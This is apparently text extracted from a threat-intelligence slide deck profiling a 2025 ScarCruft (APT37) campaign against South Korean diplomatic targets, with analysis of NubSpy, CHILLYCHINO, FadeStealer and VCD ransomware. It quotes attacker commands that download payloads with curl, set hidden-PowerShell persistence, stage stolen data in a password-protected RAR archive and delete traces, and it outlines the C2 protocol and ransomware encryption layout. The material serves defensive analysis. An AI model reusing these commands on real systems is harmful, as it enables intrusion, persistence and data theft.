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Who is ScarCruft?

ScarCruft
Alias
APT37, Reaper, Ricochet Chollima, Red Eyes, Geumseong121, etc

ROKRAT, Chinotto, FadeStealer, AblyGo, Cumulus, etc

Media, Research, Diplomatic, Government, etc

South Korea, Japan, Vietnam, Russia, etc

Malware

Target Region/Country

Target Sector
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Who is ScarCruft?

** Threat Actor Profile: ScarCruft by S2W’s QUAXAR
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Subgroup of ScarCruft
puNK: partially unidentified North Korean threat actor

**Threat Group Taxonomy in S2W-TALON
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Spotlight on ChinopuNK

2025 • ScarCruft’s New Language: Whispering in PubNub, 
Crafting Backdoor in Rust, Striking with Ransomware

#CHILLYCHINO#NubSpy #VCD_Ransomware



ScarCruft’s New Campaign 
targeting South Korea

Full Report
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ScarCruft’s New Campaign

Timeline

Since at least: Jun 30, 2025

Malware/Tool

NubSpy

First seen ITW: Dec 2024

Target

Country: 

Sector: Diplomatic

Backdoor Stealer
LightPeek

FadeStealerCHILLYCHINO

!

NubRunner
TxPyLoader

Loader

Ransomware Tool

VCD Ransomware Ultra VNC
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Attack Flow

Common Chain

Victim-specific Chain

NubSpy

NubRunner NubSpy

CHILLYCHINO

LightPeek

TxPyLoader FadeStealer

VCD Ransomware
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Attack Flow: Common Chain 
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Attack Flow: Common Chain 



15Copyright ⓒ 2025, S2W Inc.

NubSpy

• First seen: Jul 2025

• Malware Type: Backdoor

• Base Language: AutoIt, PowerShell

NubSpy is the backdoor-typed malware that uses the PubNub API to 
receive commands and sends back execution results
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NubSpy

device-register

result-channel

command-victimid1

…

Attacker

Exposed API Key

command-victimid2

command-victimidN
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NubSpy
device-register

result-channel

Records clientID generated for each victim

Records command execution results from 

victim 

Stores commands to be executed per victim

command-victimidN
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Attack Flow: Victim-specific Chain

!

!

!
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LightPeek

Collect basic 
information

whoami
dir d:

Download 
additional payloads

curl hxxp://{distribute_server_A}/lib/Classes/new/client.dat -o 
c:\programdata\client.ps1

Maintain 
persistence

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v 
EdgeBrowserUpdate /d 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden 
-ep bypass c:\programdata\client.ps1" /f

Execute malware
powershell c:\programdata\client.ps1

powershell -w hidden -ep bypass c:\programdata\client.ps1

Type Command Executed

Attacker
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LightPeek
• First seen in Jul 2025

• Malware Type: Stealer

• Base Language: PowerShell

• Collected Information

• Local Files/Directories

• Screen Captures

!
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LightPeek

Collect basic 
information whoami

Download 
additional payloads

curl http://{distribute_server_A}/lib/Classes/new/aiupdate.dat -o 
c:\users\public\aiupdate.exe

Maintain 
persistence

schtasks /Create /SC MINUTE /MO 15 /TN "AIInterfaceUpdate" /TR 
"c:\users\public\aiupdate.exe" /F

Execute malware c:\users\public\aiupdate.exe

Type Command Executed

Attacker
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CHILLYCHINO

• First seen in 2023 Mar

• Malware Type: Backdoor

• Base Language: PowerShell, Rust

• Timestamp: 2025-07-10 07:53:11 (UTC)

!
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CHILLYCHINO

C2 Parameter (Client → C2 Server)

• U={clientID}

• U={clientID}&R={enc_result}
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CHILLYCHINO
[2023] PowerShell-based CHILLYCHINO

hxxp://[C2_URL]/mid.php?U={clientID}
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[2025] Rust-based CHILLYCHINO

Defense EvasionVersatility

hxxp://[C2_URL]/net.php?U={clientID}

CHILLYCHINO
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Attack Flow: Victim-specific Chain

! !
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Malware from Distribution Site B

Collect basic 
information whoami

Download 
additional payloads

curl https://{distribute_server_B}/community/japerson/wonder.dat -o 
c:\programdata\wonder.cab

curl https://{distribute_server_B}/community/japerson/etele.dat -o 
c:\programdata\telegram_update\tele.dat

Decompress expand c:\programdata\wonder.cab -F:* c:\programdata

Execute malware
c:\programdata\telegram_update\tele_update.exe
c:\programdata\telegram_update\tele.conf
c:\programdata\telegram_update\tele.dat

Delete files
del c:\programdata\telegram_update\tele.dat

rmdir /s /q c:\programdata\telegram_update

Type Command Executed
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Malware from Distribution Site B

…
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TxPyLoader
TxPyLoader is a loader that injects payloads using the Transacted Hollowing 
technique.

• First seen in Jul 2025

• Malware Type: Loader

• Base Language: Python

• Timestamp: 2025-04-26 04:15:55 (UTC)

Source: Malwarebytes
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TxPyLoader

Decode Payloads

1. Read data and decode with Base64

2. cursor = first byte value + 1  

3. XOR key length = payload[cursor]  

4. cursor = cursor + 1  

5. encoded payload 

= payload[cursor : cursor + key_len]  
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TxPyLoader

PoC of 
Transacted Hollowing

Python-ported 
Version

!
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TxPyLoader

PoC of 
Transacted Hollowing

Python-ported 
Version
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FadeStealer
• First seen in Mar 2023

• Malware Type: Stealer

• Base Language: C/C++

• Timestamp: 2025-07-10 07:53:11 (UTC)

Keystroke %Temp%/VSTelems_Fade/NgenPdbk

Screenshot %Temp%/VSTelems_Fade/NgenPdbc

Microphone Recording %Temp%/VSTelems_Fade/NgenPdbm

Portable Device %Temp%/VSTelems_FadeIn

Removable Disk %Temp%/VSTelems_FadeOut

Type Path

c:\\windows\\system32\\cmd.exe /c "”%Temp%\rar.exe” a -r -ep1 -
m0 -y -pNaeMhq[d]q -v1g "%Temp%\watch_{yyyy_mm_dd-
hh_mm_ss}.rar" "%Temp%\\VSTelems_Fade\\*.*"

Commands to compress log path to RAR file
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VCD Ransomware
VCD Ransomware is ransomware that changes extension of the target files 
into *.vcd

• First seen in Jul 2025

• Malware Type: Ransomware

• Source: C/C++

• Timestamp: 2025-07-25 11:13:19

(UTC)
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VCD Ransomware

Name of Ransom Note

• KR Version: 00_파일-복구-가이드.txt

• EN Version: 00_FILE_RECOVER-GUIDE.txt

Email Address used in Ransom Note

• creativeidea2024@proton.me
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VCD Ransomware
• Traversal Target Files & Drop Ransom Note

00_파일-복구-가이드.txt
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VCD Ransomware
• Traversal Target Files & Drop Ransom Note

00_FILE_RECOVER-GUIDE.txt

creativeidea2024@proton.me
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VCD Ransomware
• Skips files larger than 200MB  

• Encrypts with AES-256-CBC

• key and IV from protected with RSA

• Pattern: encrypt 512KB, skip 64KB

• Stores padding and original file size at the end  

• Renames encrypted files with “.VCD” extension

Encrypted Section (Default: 0x80000)

Plain Section (Default: 0x10000)

RSA Encrypted AES KEY (0x200)

Size of Original File (0x8)

RSA Encrypted AES IV (0x200)

List of PADDING ((Default 0x10)



Infrastructure Investigation
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Responsible Disclosure
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Malware C2 Infrastructure

!

!

!
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C2 Script for FadeStealer & CHILLYCHINO
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C2 Script for FadeStealer & CHILLYCHINO

Child → Parent

Parent → Child

U={clientID}

R={base64_res}
• Upload execution result

• Register victim & polling for command

U=parent

C={base64_cmd}
• Deliver command to victim

• Retrieve collected results

(GET)
U={clientID}

(GET) 
U={clientID}&C={base64_cmd}

(GET/POST) 
U={ClientID}&R={base64_res}

(GET)
U=parent

Return child queue

Unregistered clientID triggers 
SEVMTw== entry in parent queue

Update command in child queue 

Update result in parent queue 

Return parent queue



Attribution
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Connection to ScarCruft

PubNubRAT

NubSpy

2018 2025

Malware

VCD Ransomware

KevDroid

Malware

PubNub for Command Control & PhishingFadeStealear

C2 Script for FadeStealer

Malware Infrastructure

CHILLYCHINO
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Overlaps with Operation ‘Rocket Man’

• First seen in Apr 2018

• Malware Type: RAT

• Framework: .NET

*Source: ESTsecurity, OPERTAION ‘Rocket Man’
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PubNub-Based Phishing Infrastructure
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Similarities in C2 Scripts

(GET) 
U={clientID}

Unregistered clientID triggers 
SEVMTw== entry in parent queue

Parent queue in “info” file

[
{"id": "", "text": ""},
{"id": <clientID>, "text": "SEVMTw=="}

]

KISA “TTPs $ ScarCruft Tracking Note”

SEVMTw==

ASEC “RedEyes Group Wiretapping Individuals (APT37)”

[2022] ScarCruft’s Information Gathering Activities [2025] Decrypted PHP Script
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Diamond Model

Adversary

Infrastructure

Type: APT
Origin: North Korea
Threat Actor: ScarCruft
Alias: APT37, Geumseong121, Reaper, 
Ricochet Chollima, Pearl Sleet

C&C Server
PubNub
Compromised South Korean Server

Email
creativeidea2024@proton.me
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Diamond Model

Victim

Capability

Target Country: South Korea

Target Sector: Diplomatic

Programming Language
PowerShell
AutoIt
Python
C/C++
Rust

Malware (Custom)
Info-stealer
Ransomware
Backdoor
Injector

MITRE:
Resource Development
Defense Evasion
Persistence
Command and Control
Impact



Takesaway
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Takesaway

ChinopuNK: A Subgroup of ScarCruft

This campaign reveals ScarCruft’s internal subgroups, with ChinopuNK linked to
Chinotto and now spreading new malware via real-time messaging C2s.

Use of Multiple Programming Languages

ScarCruft has begun adopting modern languages such as Go and Rust, reusing
existing malware to increase versatility and strengthen detection evasion.

A Shift in ScarCruft’s Strategic Objectives

The introduction of ransomware marks a departure from ScarCruft’s traditional
espionage focus, suggesting new financial motives or broader disruptive objectives.
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